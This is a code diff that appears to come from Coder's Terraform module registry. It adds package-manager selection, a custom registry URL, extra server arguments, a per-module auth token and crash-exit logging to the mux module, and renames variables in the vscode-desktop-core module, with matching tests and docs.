||||
|
||||
```tf
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.4.0"
|
||||
agent_id = coder_agent.main.id
|
||||
additional_arguments = "--open-mode pinned --add-project '/workspaces/my repo'"
|
||||
}
|
||||
```
|
||||
|
||||
@@ -75,12 +90,40 @@ module "mux" {
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.8"
|
||||
version = "1.4.0"
|
||||
agent_id = coder_agent.main.id
|
||||
port = 8080
|
||||
}
|
||||
```
|
||||
|
||||
### Custom Package Manager
|
||||
|
||||
Force a specific package manager instead of auto-detection:
|
||||
|
||||
```tf
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.4.0"
|
||||
agent_id = coder_agent.main.id
|
||||
package_manager = "pnpm" # or "npm", "bun"
|
||||
}
|
||||
```
|
||||
|
||||
### Custom Registry
|
||||
|
||||
Use a private or mirrored npm registry:
|
||||
|
||||
```tf
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.4.0"
|
||||
agent_id = coder_agent.main.id
|
||||
registry_url = "https://npm.pkg.github.com"
|
||||
}
|
||||
```
|
||||
|
||||
### Use Cached Installation
|
||||
|
||||
Run an existing copy of Mux if found, otherwise install from npm:
|
||||
@@ -89,7 +132,7 @@ Run an existing copy of Mux if found, otherwise install from npm:
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.8"
|
||||
version = "1.4.0"
|
||||
agent_id = coder_agent.main.id
|
||||
use_cached = true
|
||||
}
|
||||
@@ -103,7 +146,7 @@ Run without installing from the network (requires Mux to be pre-installed):
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.8"
|
||||
version = "1.4.0"
|
||||
agent_id = coder_agent.main.id
|
||||
install = false
|
||||
}
|
||||
@@ -117,4 +160,7 @@ module "mux" {
|
||||
|
||||
- Mux is currently in preview and you may encounter bugs
|
||||
- Requires internet connectivity for agent operations (unless `install` is set to false)
|
||||
- Installs `mux@next` from npm by default (falls back to the npm tarball if npm is unavailable)
|
||||
- Auto-detects `npm`, `pnpm`, or `bun` by default; set `package_manager` to force a specific one
|
||||
- Installs `mux@next` from the npm registry by default; set `registry_url` to use a private or mirrored registry
|
||||
- Falls back to a direct tarball download when no package manager is found
|
||||
- Appends best-effort signal and external-kill diagnostics to `log_path` if the mux process dies after startup
|
||||
|
||||
@@ -1,6 +1,11 @@
|
||||
import { describe, expect, it } from "bun:test";
|
||||
import {
|
||||
executeScriptInContainer,
|
||||
execContainer,
|
||||
findResourceInstance,
|
||||
readFileContainer,
|
||||
removeContainer,
|
||||
runContainer,
|
||||
runTerraformApply,
|
||||
runTerraformInit,
|
||||
testRequiredVariables,
|
||||
@@ -30,7 +35,7 @@ describe("mux", async () => {
|
||||
}
|
||||
expect(output.exitCode).toBe(0);
|
||||
const expectedLines = [
|
||||
"📥 npm not found; downloading tarball from npm registry...",
|
||||
"📥 No package manager found; downloading tarball from registry...",
|
||||
"🥳 mux has been installed in /tmp/mux",
|
||||
"🚀 Starting mux server on port 4000...",
|
||||
"Check logs at /tmp/mux.log!",
|
||||
@@ -40,6 +45,106 @@ describe("mux", async () => {
|
||||
}
|
||||
}, 60000);
|
||||
|
||||
it("parses custom additional_arguments", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
install: false,
|
||||
log_path: "/tmp/mux.log",
|
||||
additional_arguments:
|
||||
"--open-mode pinned --add-project '/workspaces/my repo'",
|
||||
});
|
||||
|
||||
const instance = findResourceInstance(state, "coder_script");
|
||||
const id = await runContainer("alpine/curl");
|
||||
|
||||
try {
|
||||
const setup = await execContainer(id, [
|
||||
"sh",
|
||||
"-c",
|
||||
`apk add --no-cache bash >/dev/null
|
||||
mkdir -p /tmp/mux
|
||||
cat <<'EOF' > /tmp/mux/mux
|
||||
#!/usr/bin/env sh
|
||||
i=1
|
||||
for arg in "$@"; do
|
||||
echo "arg$i=$arg"
|
||||
i=$((i + 1))
|
||||
done
|
||||
EOF
|
||||
chmod +x /tmp/mux/mux`,
|
||||
]);
|
||||
expect(setup.exitCode).toBe(0);
|
||||
|
||||
const output = await execContainer(id, ["sh", "-c", instance.script]);
|
||||
if (output.exitCode !== 0) {
|
||||
console.log("STDOUT:\n" + output.stdout);
|
||||
console.log("STDERR:\n" + output.stderr);
|
||||
}
|
||||
expect(output.exitCode).toBe(0);
|
||||
|
||||
await execContainer(id, ["sh", "-c", "sleep 1"]);
|
||||
const log = await readFileContainer(id, "/tmp/mux.log");
|
||||
expect(log).toContain("arg1=server");
|
||||
expect(log).toContain("arg2=--port");
|
||||
expect(log).toContain("arg3=4000");
|
||||
expect(log).toContain("arg4=--open-mode");
|
||||
expect(log).toContain("arg5=pinned");
|
||||
expect(log).toContain("arg6=--add-project");
|
||||
expect(log).toContain("arg7=/workspaces/my repo");
|
||||
} finally {
|
||||
await removeContainer(id);
|
||||
}
|
||||
}, 60000);
|
||||
|
||||
it("logs signal-based exits after startup", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
install: false,
|
||||
log_path: "/tmp/mux.log",
|
||||
});
|
||||
|
||||
const instance = findResourceInstance(state, "coder_script");
|
||||
const id = await runContainer("alpine/curl");
|
||||
|
||||
try {
|
||||
const setup = await execContainer(id, [
|
||||
"sh",
|
||||
"-c",
|
||||
`apk add --no-cache bash >/dev/null
|
||||
mkdir -p /tmp/mux
|
||||
cat <<'EOF' > /tmp/mux/mux
|
||||
#!/usr/bin/env sh
|
||||
target_pid="$$"
|
||||
(
|
||||
sleep 1
|
||||
kill -9 "$target_pid"
|
||||
) &
|
||||
while true; do
|
||||
sleep 1
|
||||
done
|
||||
EOF
|
||||
chmod +x /tmp/mux/mux`,
|
||||
]);
|
||||
expect(setup.exitCode).toBe(0);
|
||||
|
||||
const output = await execContainer(id, ["sh", "-c", instance.script]);
|
||||
if (output.exitCode !== 0) {
|
||||
console.log("STDOUT:\n" + output.stdout);
|
||||
console.log("STDERR:\n" + output.stderr);
|
||||
}
|
||||
expect(output.exitCode).toBe(0);
|
||||
|
||||
await execContainer(id, ["sh", "-c", "sleep 2"]);
|
||||
const log = await readFileContainer(id, "/tmp/mux.log");
|
||||
expect(log).toContain("shell exit code 137");
|
||||
expect(log).toContain(
|
||||
"SIGKILL usually means the process was killed externally or by the OOM killer.",
|
||||
);
|
||||
} finally {
|
||||
await removeContainer(id);
|
||||
}
|
||||
}, 60000);
|
||||
|
||||
it("runs with npm present", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
@@ -55,7 +160,7 @@ describe("mux", async () => {
|
||||
expect(output.exitCode).toBe(0);
|
||||
const expectedLines = [
|
||||
"📦 Installing mux via npm into /tmp/mux...",
|
||||
"⏭️ Skipping npm lifecycle scripts with --ignore-scripts",
|
||||
"⏭️ Skipping lifecycle scripts with --ignore-scripts",
|
||||
"🥳 mux has been installed in /tmp/mux",
|
||||
"🚀 Starting mux server on port 4000...",
|
||||
"Check logs at /tmp/mux.log!",
|
||||
|
||||
@@ -7,6 +7,10 @@ terraform {
|
||||
source = "coder/coder"
|
||||
version = ">= 2.5"
|
||||
}
|
||||
random = {
|
||||
source = "hashicorp/random"
|
||||
version = ">= 3.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -45,18 +49,41 @@ variable "log_path" {
|
||||
default = "/tmp/mux.log"
|
||||
}
|
||||
|
||||
variable "add-project" {
|
||||
variable "add_project" {
|
||||
type = string
|
||||
description = "Optional path to add/open as a project in Mux on startup."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "additional_arguments" {
|
||||
type = string
|
||||
description = "Additional command-line arguments to pass to `mux server` (for example: `--add-project /path --open-mode pinned`)."
|
||||
default = ""
|
||||
}
|
||||
|
||||
variable "install_version" {
|
||||
type = string
|
||||
description = "The version or dist-tag of Mux to install."
|
||||
default = "next"
|
||||
}
|
||||
|
||||
variable "package_manager" {
|
||||
type = string
|
||||
description = "Package manager to install Mux. 'auto' detects npm, pnpm, or bun (falling back to tarball download). Set to 'npm', 'pnpm', or 'bun' to force a specific one."
|
||||
default = "auto"
|
||||
validation {
|
||||
condition = contains(["auto", "npm", "pnpm", "bun"], var.package_manager)
|
||||
error_message = "The 'package_manager' variable must be one of: 'auto', 'npm', 'pnpm', 'bun'."
|
||||
}
|
||||
}
|
||||
|
||||
variable "registry_url" {
|
||||
type = string
|
||||
description = "The npm-compatible registry URL to install Mux from. Override this for private registries or mirrors."
|
||||
default = "https://registry.npmjs.org"
|
||||
}
|
||||
|
||||
|
||||
variable "share" {
|
||||
type = string
|
||||
default = "owner"
|
||||
@@ -113,6 +140,23 @@ variable "open_in" {
|
||||
}
|
||||
}
|
||||
|
||||
# Per-module auth token for cross-site request protection.
|
||||
# We pass this token into each mux process at launch time (process-scoped env)
|
||||
# and include it in the app URL query string (?token=...).
|
||||
#
|
||||
# Why process-scoped env instead of a shared coder_env value:
|
||||
# multiple mux module instances can target the same agent (different slug/port).
|
||||
# A single global MUX_SERVER_AUTH_TOKEN env key would cause collisions.
|
||||
resource "random_password" "mux_auth_token" {
|
||||
length = 64
|
||||
special = false
|
||||
}
|
||||
|
||||
locals {
|
||||
mux_auth_token = random_password.mux_auth_token.result
|
||||
registry_url = trimsuffix(var.registry_url, "/")
|
||||
}
|
||||
|
||||
resource "coder_script" "mux" {
|
||||
agent_id = var.agent_id
|
||||
display_name = var.display_name
|
||||
@@ -121,10 +165,14 @@ resource "coder_script" "mux" {
|
||||
VERSION : var.install_version,
|
||||
PORT : var.port,
|
||||
LOG_PATH : var.log_path,
|
||||
ADD_PROJECT : var.add-project == null ? "" : var.add-project,
|
||||
ADD_PROJECT : var.add_project == null ? "" : var.add_project,
|
||||
ADDITIONAL_ARGUMENTS : var.additional_arguments,
|
||||
INSTALL_PREFIX : var.install_prefix,
|
||||
OFFLINE : !var.install,
|
||||
USE_CACHED : var.use_cached,
|
||||
AUTH_TOKEN : local.mux_auth_token,
|
||||
PACKAGE_MANAGER : var.package_manager,
|
||||
REGISTRY_URL : local.registry_url,
|
||||
})
|
||||
run_on_start = true
|
||||
|
||||
@@ -140,7 +188,7 @@ resource "coder_app" "mux" {
|
||||
agent_id = var.agent_id
|
||||
slug = var.slug
|
||||
display_name = var.display_name
|
||||
url = "http://localhost:${var.port}"
|
||||
url = "http://localhost:${var.port}?token=${local.mux_auth_token}"
|
||||
icon = "/icon/mux.svg"
|
||||
subdomain = var.subdomain
|
||||
share = var.share
|
||||
@@ -154,5 +202,3 @@ resource "coder_app" "mux" {
|
||||
threshold = 6
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -20,8 +20,10 @@ run "install_false_and_use_cached_conflict" {
|
||||
]
|
||||
}
|
||||
|
||||
# Needs command = apply because the URL contains random_password.result,
|
||||
# which is unknown during plan.
|
||||
run "custom_port" {
|
||||
command = plan
|
||||
command = apply
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
@@ -29,8 +31,83 @@ run "custom_port" {
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = resource.coder_app.mux.url == "http://localhost:8080"
|
||||
error_message = "coder_app URL must use the configured port"
|
||||
condition = startswith(resource.coder_app.mux.url, "http://localhost:8080?token=")
|
||||
error_message = "coder_app URL must use the configured port and include auth token"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = trimprefix(resource.coder_app.mux.url, "http://localhost:8080?token=") == random_password.mux_auth_token.result
|
||||
error_message = "URL token must match the generated auth token"
|
||||
}
|
||||
}
|
||||
|
||||
# Needs command = apply because random_password.result is unknown during plan.
|
||||
run "auth_token_in_server_script" {
|
||||
command = apply
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = strcontains(resource.coder_script.mux.script, "MUX_SERVER_AUTH_TOKEN=")
|
||||
error_message = "mux launch script must set MUX_SERVER_AUTH_TOKEN"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = strcontains(resource.coder_script.mux.script, random_password.mux_auth_token.result)
|
||||
error_message = "mux launch script must use the generated auth token"
|
||||
}
|
||||
}
|
||||
|
||||
# Needs command = apply because random_password.result is unknown during plan.
|
||||
run "auth_token_in_url" {
|
||||
command = apply
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = startswith(resource.coder_app.mux.url, "http://localhost:4000?token=")
|
||||
error_message = "coder_app URL must include auth token query parameter"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = trimprefix(resource.coder_app.mux.url, "http://localhost:4000?token=") == random_password.mux_auth_token.result
|
||||
error_message = "URL token must match the generated auth token"
|
||||
}
|
||||
}
|
||||
|
||||
run "custom_additional_arguments" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
additional_arguments = "--open-mode pinned --add-project '/workspaces/my repo'"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = strcontains(resource.coder_script.mux.script, "--open-mode pinned --add-project '/workspaces/my repo'")
|
||||
error_message = "mux launch script must include the configured additional arguments"
|
||||
}
|
||||
}
|
||||
|
||||
run "launcher_logs_external_kills" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = strcontains(resource.coder_script.mux.script, "shell exit code $exit_code")
|
||||
error_message = "mux launcher must log the shell exit code when the server dies unexpectedly"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = strcontains(resource.coder_script.mux.script, "SIGKILL usually means the process was killed externally or by the OOM killer.")
|
||||
error_message = "mux launcher must explain SIGKILL exits in the log"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -63,4 +140,95 @@ run "use_cached_only_success" {
|
||||
}
|
||||
}
|
||||
|
||||
# Custom package_manager should appear in generated script
|
||||
run "custom_package_manager_npm" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
package_manager = "npm"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = strcontains(resource.coder_script.mux.script, "PM_CMD=\"npm\"")
|
||||
error_message = "mux script must set PM_CMD to the configured package manager"
|
||||
}
|
||||
}
|
||||
|
||||
run "custom_package_manager_pnpm" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
package_manager = "pnpm"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = strcontains(resource.coder_script.mux.script, "PM_CMD=\"pnpm\"")
|
||||
error_message = "mux script must set PM_CMD to the configured package manager"
|
||||
}
|
||||
}
|
||||
|
||||
run "custom_package_manager_bun" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
package_manager = "bun"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = strcontains(resource.coder_script.mux.script, "PM_CMD=\"bun\"")
|
||||
error_message = "mux script must set PM_CMD to the configured package manager"
|
||||
}
|
||||
}
|
||||
|
||||
# Invalid package_manager should fail validation
|
||||
run "invalid_package_manager" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
package_manager = "yarn"
|
||||
}
|
||||
|
||||
expect_failures = [
|
||||
var.package_manager
|
||||
]
|
||||
}
|
||||
|
||||
# Custom registry_url should appear in generated script
|
||||
run "custom_registry_url" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
registry_url = "https://npm.example.com"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = strcontains(resource.coder_script.mux.script, "https://npm.example.com")
|
||||
error_message = "mux script must use the configured registry URL"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = !strcontains(resource.coder_script.mux.script, "registry.npmjs.org")
|
||||
error_message = "mux script must not contain hardcoded registry.npmjs.org when custom registry is set"
|
||||
}
|
||||
}
|
||||
|
||||
# registry_url trailing slash should be stripped
|
||||
run "registry_url_trailing_slash" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
registry_url = "https://npm.example.com/"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = strcontains(resource.coder_script.mux.script, "https://npm.example.com/mux/")
|
||||
error_message = "registry URL trailing slash must be stripped to avoid double slashes"
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -9,20 +9,118 @@ function run_mux() {
|
||||
rm -f "$HOME/.mux/server.lock"
|
||||
|
||||
local port_value
|
||||
local auth_token_value
|
||||
port_value="${PORT}"
|
||||
auth_token_value="${AUTH_TOKEN}"
|
||||
if [ -z "$port_value" ]; then
|
||||
port_value="4000"
|
||||
fi
|
||||
|
||||
mkdir -p "$(dirname "${LOG_PATH}")"
|
||||
|
||||
# Build args for mux (POSIX-compatible, avoid bash arrays)
|
||||
set -- server --port "$port_value"
|
||||
if [ -n "${ADD_PROJECT}" ]; then
|
||||
set -- "$@" --add-project "${ADD_PROJECT}"
|
||||
fi
|
||||
|
||||
# Parse additional user-supplied server arguments while preserving quoted groups.
|
||||
if [ -n "${ADDITIONAL_ARGUMENTS}" ]; then
|
||||
local parsed_additional_arguments
|
||||
if ! parsed_additional_arguments="$(printf "%s\n" "${ADDITIONAL_ARGUMENTS}" | xargs -n1 printf "%s\n" 2> /dev/null)"; then
|
||||
echo "❌ Failed to parse additional_arguments. Ensure quotes are balanced."
|
||||
exit 1
|
||||
fi
|
||||
while IFS= read -r parsed_arg; do
|
||||
[ -n "$parsed_arg" ] || continue
|
||||
set -- "$@" "$parsed_arg"
|
||||
done << EOF_ARGS
|
||||
$${parsed_additional_arguments}
|
||||
EOF_ARGS
|
||||
fi
|
||||
|
||||
echo "🚀 Starting mux server on port $port_value..."
|
||||
echo "Check logs at ${LOG_PATH}!"
|
||||
PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 &
|
||||
echo "ℹ️ Unexpected exits will be appended to ${LOG_PATH} by the launcher."
|
||||
|
||||
nohup env \
|
||||
LOG_PATH="${LOG_PATH}" \
|
||||
MUX_BINARY="$MUX_BINARY" \
|
||||
AUTH_TOKEN="$auth_token_value" \
|
||||
PORT_VALUE="$port_value" \
|
||||
bash -s -- "$@" > /dev/null 2>&1 << 'EOF_LAUNCHER' &
|
||||
signal_name() {
|
||||
local signal_number="$1"
|
||||
local resolved_signal
|
||||
|
||||
resolved_signal="$(kill -l "$signal_number" 2> /dev/null || true)"
|
||||
if [ -n "$resolved_signal" ]; then
|
||||
printf '%s' "$resolved_signal"
|
||||
return 0
|
||||
fi
|
||||
|
||||
printf 'SIG%s' "$signal_number"
|
||||
}
|
||||
|
||||
append_kernel_kill_context() {
|
||||
local mux_pid="$1"
|
||||
local kernel_context=""
|
||||
|
||||
if command -v dmesg > /dev/null 2>&1; then
|
||||
kernel_context="$(dmesg -T 2> /dev/null | grep -Ei "Killed process $mux_pid|out of memory|oom-killer|oom reaper" | tail -n 10 || true)"
|
||||
fi
|
||||
|
||||
if [ -z "$kernel_context" ] && command -v journalctl > /dev/null 2>&1; then
|
||||
kernel_context="$(journalctl -k -n 200 --no-pager 2> /dev/null | grep -Ei "Killed process $mux_pid|out of memory|oom-killer|oom reaper" | tail -n 10 || true)"
|
||||
fi
|
||||
|
||||
if [ -n "$kernel_context" ]; then
|
||||
echo "Recent kernel kill context:"
|
||||
echo "$kernel_context"
|
||||
else
|
||||
echo "No kernel OOM/kill context was available (dmesg/journalctl unavailable or permission denied)."
|
||||
fi
|
||||
}
|
||||
|
||||
log_mux_exit() {
|
||||
local mux_pid="$1"
|
||||
local exit_code="$2"
|
||||
local timestamp
|
||||
|
||||
timestamp="$(date -Iseconds 2> /dev/null || date)"
|
||||
|
||||
if [ "$exit_code" -eq 0 ]; then
|
||||
echo "[$timestamp] mux server exited cleanly."
|
||||
return 0
|
||||
fi
|
||||
|
||||
if [ "$exit_code" -gt 128 ]; then
|
||||
local signal_number=$((exit_code - 128))
|
||||
local signal_label
|
||||
|
||||
signal_label="$(signal_name "$signal_number")"
|
||||
echo "[$timestamp] mux server exited due to signal $signal_label ($signal_number); shell exit code $exit_code."
|
||||
|
||||
if [ "$signal_number" -eq 9 ]; then
|
||||
echo "[$timestamp] SIGKILL usually means the process was killed externally or by the OOM killer."
|
||||
append_kernel_kill_context "$mux_pid"
|
||||
fi
|
||||
|
||||
echo "[$timestamp] Check the earlier mux log lines for any in-process crash breadcrumbs from mux itself."
|
||||
return 0
|
||||
fi
|
||||
|
||||
echo "[$timestamp] mux server exited with code $exit_code."
|
||||
echo "[$timestamp] Check the earlier mux log lines for any in-process crash breadcrumbs from mux itself."
|
||||
}
|
||||
|
||||
MUX_SERVER_AUTH_TOKEN="$AUTH_TOKEN" PORT="$PORT_VALUE" "$MUX_BINARY" "$@" >> "$LOG_PATH" 2>&1 &
|
||||
mux_pid=$!
|
||||
wait "$mux_pid"
|
||||
exit_code=$?
|
||||
log_mux_exit "$mux_pid" "$exit_code" >> "$LOG_PATH" 2>&1
|
||||
EOF_LAUNCHER
|
||||
}
|
||||
# Check if mux is already installed for offline mode
|
||||
if [ "${OFFLINE}" = true ]; then
|
||||
if [ -f "$MUX_BINARY" ]; then
|
||||
@@ -36,7 +134,7 @@ fi
|
||||
|
||||
# If there is no cached install OR we don't want to use a cached install
|
||||
if [ ! -f "$MUX_BINARY" ] || [ "${USE_CACHED}" != true ]; then
|
||||
printf "$${BOLD}Installing mux from npm...\n"
|
||||
printf "$${BOLD}Installing mux...\n"
|
||||
|
||||
# Clean up from other install (in case install prefix changed).
|
||||
if [ -n "$CODER_SCRIPT_BIN_DIR" ] && [ -e "$CODER_SCRIPT_BIN_DIR/mux" ]; then
|
||||
@@ -45,41 +143,76 @@ if [ ! -f "$MUX_BINARY" ] || [ "${USE_CACHED}" != true ]; then
|
||||
|
||||
mkdir -p "$(dirname "$MUX_BINARY")"
|
||||
|
||||
if command -v npm > /dev/null 2>&1; then
|
||||
echo "📦 Installing mux via npm into ${INSTALL_PREFIX}..."
|
||||
# Determine which package manager to use
|
||||
PM_CMD=""
|
||||
if [ "${PACKAGE_MANAGER}" = "auto" ]; then
|
||||
for pm in npm pnpm bun; do
|
||||
if command -v "$pm" > /dev/null 2>&1; then
|
||||
PM_CMD="$pm"
|
||||
break
|
||||
fi
|
||||
done
|
||||
else
|
||||
PM_CMD="${PACKAGE_MANAGER}"
|
||||
if ! command -v "$PM_CMD" > /dev/null 2>&1; then
|
||||
echo "❌ Configured package manager '${PACKAGE_MANAGER}' not found on PATH"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -n "$PM_CMD" ]; then
|
||||
echo "📦 Installing mux via $PM_CMD into ${INSTALL_PREFIX}..."
|
||||
NPM_WORKDIR="${INSTALL_PREFIX}/npm"
|
||||
mkdir -p "$NPM_WORKDIR"
|
||||
cd "$NPM_WORKDIR" || exit 1
|
||||
if [ ! -f package.json ]; then
|
||||
echo '{}' > package.json
|
||||
fi
|
||||
echo "⏭️ Skipping npm lifecycle scripts with --ignore-scripts"
|
||||
echo "⏭️ Skipping lifecycle scripts with --ignore-scripts"
|
||||
PKG="mux"
|
||||
if [ -z "${VERSION}" ] || [ "${VERSION}" = "latest" ]; then
|
||||
PKG_SPEC="$PKG@latest"
|
||||
else
|
||||
PKG_SPEC="$PKG@${VERSION}"
|
||||
fi
|
||||
if ! npm install --no-audit --no-fund --omit=dev --ignore-scripts "$PKG_SPEC"; then
|
||||
echo "❌ Failed to install mux via npm"
|
||||
INSTALL_OK=true
|
||||
case "$PM_CMD" in
|
||||
npm)
|
||||
if ! npm install --no-audit --no-fund --omit=dev --ignore-scripts --registry "${REGISTRY_URL}" "$PKG_SPEC"; then
|
||||
INSTALL_OK=false
|
||||
fi
|
||||
;;
|
||||
pnpm)
|
||||
if ! pnpm add --ignore-scripts --registry "${REGISTRY_URL}" "$PKG_SPEC"; then
|
||||
INSTALL_OK=false
|
||||
fi
|
||||
;;
|
||||
bun)
|
||||
if ! bun add --ignore-scripts --registry "${REGISTRY_URL}" "$PKG_SPEC"; then
|
||||
INSTALL_OK=false
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
if [ "$INSTALL_OK" != true ]; then
|
||||
echo "❌ Failed to install mux via $PM_CMD"
|
||||
exit 1
|
||||
fi
|
||||
# Determine the installed binary path
|
||||
BIN_DIR="$NPM_WORKDIR/node_modules/.bin"
|
||||
CANDIDATE="$BIN_DIR/mux"
|
||||
if [ ! -f "$CANDIDATE" ]; then
|
||||
echo "❌ Could not locate mux binary after npm install"
|
||||
echo "❌ Could not locate mux binary after $PM_CMD install"
|
||||
exit 1
|
||||
fi
|
||||
chmod +x "$CANDIDATE" || true
|
||||
ln -sf "$CANDIDATE" "$MUX_BINARY"
|
||||
else
|
||||
echo "📥 npm not found; downloading tarball from npm registry..."
|
||||
echo "📥 No package manager found; downloading tarball from registry..."
|
||||
VERSION_TO_USE="${VERSION}"
|
||||
if [ -z "$VERSION_TO_USE" ]; then
|
||||
VERSION_TO_USE="next"
|
||||
fi
|
||||
META_URL="https://registry.npmjs.org/mux/$VERSION_TO_USE"
|
||||
META_URL="${REGISTRY_URL}/mux/$VERSION_TO_USE"
|
||||
META_JSON="$(curl -fsSL "$META_URL" || true)"
|
||||
if [ -z "$META_JSON" ]; then
|
||||
echo "❌ Failed to fetch npm metadata: $META_URL"
|
||||
@@ -118,7 +251,7 @@ if [ ! -f "$MUX_BINARY" ] || [ "${USE_CACHED}" != true ]; then
|
||||
echo "❌ Could not determine version for mux"
|
||||
exit 1
|
||||
fi
|
||||
TARBALL_URL="https://registry.npmjs.org/mux/-/mux-$VERSION_TO_USE.tgz"
|
||||
TARBALL_URL="${REGISTRY_URL}/mux/-/mux-$VERSION_TO_USE.tgz"
|
||||
fi
|
||||
TMP_DIR="$(mktemp -d)"
|
||||
TAR_PATH="$TMP_DIR/mux.tgz"
|
||||
|
||||
@@ -16,15 +16,15 @@ The VSCode Desktop Core module is a building block for modules that need to expo
|
||||
```tf
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.1"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
web_app_icon = "/icon/code.svg"
|
||||
web_app_slug = "vscode"
|
||||
web_app_display_name = "VS Code Desktop"
|
||||
web_app_order = var.order
|
||||
web_app_group = var.group
|
||||
coder_app_icon = "/icon/code.svg"
|
||||
coder_app_slug = "vscode"
|
||||
coder_app_display_name = "VS Code Desktop"
|
||||
coder_app_order = var.order
|
||||
coder_app_group = var.group
|
||||
|
||||
folder = var.folder
|
||||
open_recent = var.open_recent
|
||||
|
||||
@@ -11,9 +11,9 @@ const appName = "vscode-desktop";
|
||||
const defaultVariables = {
|
||||
agent_id: "foo",
|
||||
|
||||
web_app_icon: "/icon/code.svg",
|
||||
web_app_slug: "vscode",
|
||||
web_app_display_name: "VS Code Desktop",
|
||||
coder_app_icon: "/icon/code.svg",
|
||||
coder_app_slug: "vscode",
|
||||
coder_app_display_name: "VS Code Desktop",
|
||||
|
||||
protocol: "vscode",
|
||||
};
|
||||
@@ -99,16 +99,16 @@ describe("vscode-desktop-core", async () => {
|
||||
);
|
||||
|
||||
expect(coder_app?.instances[0].attributes.slug).toBe(
|
||||
defaultVariables.web_app_slug,
|
||||
defaultVariables.coder_app_slug,
|
||||
);
|
||||
expect(coder_app?.instances[0].attributes.display_name).toBe(
|
||||
defaultVariables.web_app_display_name,
|
||||
defaultVariables.coder_app_display_name,
|
||||
);
|
||||
});
|
||||
|
||||
it("sets order", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
web_app_order: "5",
|
||||
coder_app_order: "5",
|
||||
|
||||
...defaultVariables,
|
||||
});
|
||||
@@ -122,7 +122,7 @@ describe("vscode-desktop-core", async () => {
|
||||
|
||||
it("sets group", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
web_app_group: "web-app-group",
|
||||
coder_app_group: "web-app-group",
|
||||
|
||||
...defaultVariables,
|
||||
});
|
||||
|
||||
@@ -31,28 +31,28 @@ variable "protocol" {
|
||||
description = "The URI protocol the IDE."
|
||||
}
|
||||
|
||||
variable "web_app_icon" {
|
||||
variable "coder_app_icon" {
|
||||
type = string
|
||||
description = "The icon of the coder_app."
|
||||
}
|
||||
|
||||
variable "web_app_slug" {
|
||||
variable "coder_app_slug" {
|
||||
type = string
|
||||
description = "The slug of the coder_app."
|
||||
}
|
||||
|
||||
variable "web_app_display_name" {
|
||||
variable "coder_app_display_name" {
|
||||
type = string
|
||||
description = "The display name of the coder_app."
|
||||
}
|
||||
|
||||
variable "web_app_order" {
|
||||
variable "coder_app_order" {
|
||||
type = number
|
||||
description = "The order of the coder_app."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "web_app_group" {
|
||||
variable "coder_app_group" {
|
||||
type = string
|
||||
description = "The group of the coder_app."
|
||||
default = null
|
||||
@@ -65,12 +65,12 @@ resource "coder_app" "vscode-desktop" {
|
||||
agent_id = var.agent_id
|
||||
external = true
|
||||
|
||||
icon = var.web_app_icon
|
||||
slug = var.web_app_slug
|
||||
display_name = var.web_app_display_name
|
||||
